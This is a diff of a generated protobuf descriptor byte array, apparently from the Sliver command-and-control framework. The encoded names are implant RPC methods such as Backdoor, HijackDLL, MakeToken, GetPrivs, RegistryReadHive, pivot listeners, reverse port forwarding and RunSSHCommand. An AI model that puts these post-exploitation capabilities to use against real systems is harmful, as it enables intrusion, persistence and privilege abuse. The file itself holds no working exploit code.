- 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
- 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e,
- 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73,
- 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
- 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a,
- 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
- 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52,
- 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16,
+ 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54,
+ 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65,
+ 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65,
+ 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
+ 0x65, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65,
+ 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x44, 0x0a,
+ 0x0d, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x1a,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
+ 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74,
+ 0x61, 0x69, 0x6c, 0x12, 0x4c, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76,
+ 0x69, 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
+ 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66,
+ 0x6f, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c,
+ 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+ 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65,
+ 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+ 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74,
+ 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73,
+ 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f,
+ 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74,
+ 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c,
+ 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
+ 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
+ 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
+ 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
+ 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
+ 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
+ 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
+ 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
+ 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
+ 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
+ 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
+ 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
+ 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
+ 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
+ 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
+ 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
+ 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
+ 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
+ 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
+ 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65,
- 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11,
- 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
- 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
- 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65,
- 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
- 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50,
- 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
- 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79,
- 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79,
- 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74,
- 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65,
- 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b,
- 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
- 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
- 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x4d, 0x0a, 0x10, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12,
- 0x1d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
- 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1a,
+ 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
+ 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
+ 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
+ 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
+ 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
+ 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65,
+ 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65,
+ 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75,
- 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c,
+ 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a,
+ 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a,
+ 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c,
+ 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
+ 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
+ 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69,
+ 0x73, 0x74, 0x12, 0x4d, 0x0a, 0x10, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
+ 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x1d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69,
+ 0x76, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76,
+ 0x65, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61,
+ 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53,
+ 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
- 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69,
- 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a,
- 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
- 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73,
- 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50,
- 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53,
- 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73,
- 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74,
- 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64,
- 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64,
- 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f,
- 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
- 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f,
- 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
- 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
- 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12,
- 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53,
- 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a,
